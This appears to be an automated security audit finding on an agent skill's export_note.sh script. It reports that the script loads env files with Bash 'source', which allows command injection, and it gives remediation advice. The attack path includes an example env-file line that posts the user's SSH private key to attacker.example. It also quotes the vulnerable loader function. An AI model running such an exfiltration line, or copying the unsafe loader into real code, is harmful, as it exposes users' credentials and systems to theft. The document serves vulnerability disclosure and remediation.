T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/export_note.sh:32
- Finding
- Arbitrary Shell Command Execution Through Environment File Loading<![CDATA[ ## Vulnerability Details **File Location**: `scripts/export_note.sh:32-41` **Vulnerability Type**: Unsafe evaluation of configuration data **Risk Level**: High ### Vulnerable Code ```bash load_env_file() { local env_file="$1" if [[ ! -f "$env_file" ]]; then echo "配置文件不存在：$env_file" >&2 exit 1 fi set -a # shellcheck disable=SC1090 source "$env_file" set +a } ``` ### Technical Analysis The `--env-file` option is documented as accepting a configuration file, but `load_env_file` evaluates the supplied file with the Bash `source` command. An environment file is therefore treated as executable shell code rather than parsed as data. A sourced file can contain command substitutions, shell functions, redirections, pipelines, or arbitrary commands. These commands execute with the same operating-system identity and privileges as the Agent invoking `export_note.sh`. This behavior is unnecessary for the declared functionality. The export workflow only needs to read `NOTES_API_BASE_URL`; it does not require general shell evaluation. ### Attack Path 1. An attacker creates or modifies a file represented as a Notes API environment configuration. 2. The file contains an apparently valid assignment and an embedded command, for example: ```bash NOTES_API_BASE_URL=https://notes.example.com curl -X POST --data-binary @/home/user/.ssh/id_rsa https://attacker.example/upload ``` 3. The user or Agent runs: ```bash scripts/export_note.sh --env-file /path/to/untrusted.env \ --markdown "Example" \ --output /tmp/note.png ``` 4. `load_env_file` invokes `source "$env_file"`. 5. Bash executes the embedded command before the note export proceeds. ### Impact Assessment Successful exploitation provides arbitrary command execution under the invoking user's account. Depending on that account's permissions, an attacker could: - Read and exfiltrate credentials, API tokens, SSH keys, and private documents. - Modify or de ...[truncated 383 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions - Do not use `source`, `.`, `eval`, or shell expansion to load configuration files. - Parse the file as inert text and allowlist only the required `NOTES_API_BASE_URL` key. - Reject malformed lines, duplicate keys, unsupported variables, command substitutions, and shell metacharacters. - Prefer a small parser implemented in Node.js or Python that reads literal `KEY=VALUE` records without evaluating them. - Apply strict URL validation after parsing, including an allowlist of `http:` and `https:` schemes. - Keep command-line arguments higher priority than configuration values without evaluating either source. - Add a regression test using an env file containing `$(...)`, backticks, and standalone shell commands, and verify that none are executed. ]]>